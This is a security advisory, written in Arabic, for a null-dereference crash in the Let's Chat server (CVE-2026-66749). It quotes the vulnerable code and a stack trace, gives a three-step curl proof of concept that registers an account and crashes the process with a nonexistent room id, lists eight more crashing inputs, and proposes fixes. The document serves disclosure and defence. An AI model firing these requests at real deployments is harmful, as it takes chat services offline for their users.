
نشرة أمنية: استعلام الغرفة غير المُتحقَّق منه يؤدي إلى انهيار الخادم (Let's Chat)
معرّف CVE المعيّن: CVE-2026-66749
طلب HTTP واحد من أي حساب مسجّل الدخول يُوقف عملية خادم Let's Chat.
يأخذ GET /messages معامل room، ويبحث عن تلك الغرفة بمعرّفها، ثم يستدعي طريقة على النتيجة دون التحقق من أن البحث أعاد أي شيء. أرسل معرّفًا يكون سلسلة hex صالحة من 24 حرفًا لكنه لا ينتمي إلى أي غرفة، فيُلقى TypeError الناتج داخل استدعاء رجعي لـ Mongoose. يلتقط Express الاستثناءات المثارة بشكل متزامن داخل المعالج فقط، لذا يصل هذا الاستثناء إلى Node كاستثناء غير ملتقط وتنتهي العملية.
رابط المستودع: https://github.com/sdelements/lets-chat
قابلة للاستغلال من 0.4.0 (commit 84981a6، 21 فبراير 2015، الذي أدخل استدعاء canJoin) حتى 0.4.8، الإصدار النهائي. لا يوجد إصدار مُصحَّح.
تم التأكيد على 0.4.8 عند commit 617207f، وعلى docker.io/sdelements/lets-chat:latest (0.4.7)، الذي ما يزال قابلاً للسحب علنًا.
CWE-476: إلغاء مرجعية مؤشر فارغ (NULL Pointer Dereference)، مما يؤدي إلى CWE-248 استثناء غير ملتقط و CWE-400 استهلاك موارد غير مُتحكَّم فيه.
الدرجة الأساسية CVSS 4.0 هي 7.1 (عالية)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
يحتاج المهاجم إلى حساب مستخدم عادي واحد ووصول شبكي إلى منفذ HTTP. لا يحتاج إلى امتلاك أي غرفة أو الانتماء إليها، أو معرفة أي معرّف غرفة موجود، أو الحصول على أي دور مرفوع الصلاحيات.
متطلب الحساب ضعيف في التثبيت الافتراضي، لأن auth.local.enableRegistration يكون افتراضيًا true في defaults.yml، لذا يمكن لأي شخص يصل إلى صفحة تسجيل الدخول إنشاء حساب ثم تنفيذ الطلب.
لا يُهيئ Procfile (web: npm start) ولا docker/docker-compose.yml عامل إشراف أو سياسة إعادة تشغيل، لذا في نشر قياسي يُوقف طلب واحد الخدمة حتى يعيد مشغّل تشغيلها. وحيث أضاف مشغّل إشرافًا على العملية، يمكن للمهاجم ببساطة تكرار الطلب.
لا يسجّل المسار أي وسيط تحقق من الغرفة. app/controllers/messages.js:25-32:
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
قارن مع app/controllers/messages.js:34-41، حيث تضيف الصيغة المقيَّدة بالغرفة middlewares.roomRoute، الذي يحلّ الغرفة ويعيد 404 عندما لا تكون موجودة:
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
إذن على /messages تصل قيمة room إلى المُدير دون تحقق. app/core/messages.js:118-129:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
يستدعي Model.findById الاستدعاء الرجعي بالقيمتين (null, null) عندما يُحوَّل المعرّف بنجاح لكنه لا يطابق أي مستند. لا يوجد حارس if (!room)، لذا يُلغي السطر 129 مرجعية null.
المخرجات المرصودة:
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
ضد تثبيت قياسي على المنفذ 5000، دون أي تغييرات في الإعدادات:
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"[email protected]",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
لا تُرجع الخطوة 3 أي محتوى ويخرج curl بالرمز 52 (رد فارغ من الخادم). تكون عملية الخادم قد اختفت. أي معرّف من 24 حرفًا hex ولا يطابق أي غرفة ينجح.
يسجّل express.oi كل مفتاح app.io.route(...) كمعالج socket.on(...) عادي (initRoutes في node_modules/express.oi/lib/index.js). يمكن لعميل socket.io مصادَق إذن استدعاء هذه المعالجات مباشرة، مما يتجاوز سلسلة وسائط Express بما فيها roomRoute. كما يزيل كتلة try/catch الخاصة بـ Express، لذا فإن رميًا متزامنًا كان سيعطي 500 عبر HTTP يقتل العملية عبر socket.io.
كل ما يلي ينهي العملية أيضًا. تم تأكيدها جميعًا.
احمِ عمليات البحث. في app/core/messages.js:118 و app/core/files.js:156:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
يحتاج app/core/rooms.js:234 إلى المعاملة نفسها قبل استدعاء sanitizeRoom، وينبغي أن يرفض app/core/rooms.js:248 options.identifier المفقود أو غير النصي.
تغييران من شأنهما إغلاق الفئة بأكملها بدلًا من هذه الحالات فقط. أولًا، حوّل وتحقق من معاملات الاستعلام التي يُفترض أنها سلاسل نصية (expand, room, id, take, skip) عند حدود المتحكم. ثانيًا، لفّ توزيع معالج socket.io داخل try/catch وأرفِق معالجًا لـ process.on('uncaughtException') بحيث يتدهور طلب سيئ واحد إلى استجابة خطأ بدلًا من إيقاف الخادم.
| يمكن الوصول عبر | المدخل | موقع الرمي |
|---|
| HTTP و socket.io | messages:list مع room معيّنة إلى معرّف غير موجود | app/core/messages.js:129 |
| HTTP و socket.io | files:list مع room معيّنة إلى معرّف غير موجود | app/core/files.js:167 |
| socket.io | rooms:get بمعرّف غير موجود، أو دون معرّف | app/core/rooms.js:213 عبر :234 |
| socket.io | rooms:users دون غرفة | app/core/rooms.js:248 |
| socket.io | rooms:join دون معرّف | app/core/rooms.js:248 |
| socket.io | messages:list مع expand كمصفوفة | app/core/messages.js:97 |
| socket.io | files:list مع expand كمصفوفة | app/core/files.js:139 |
| socket.io | users:get مع id ككائن | app/models/user.js:139 |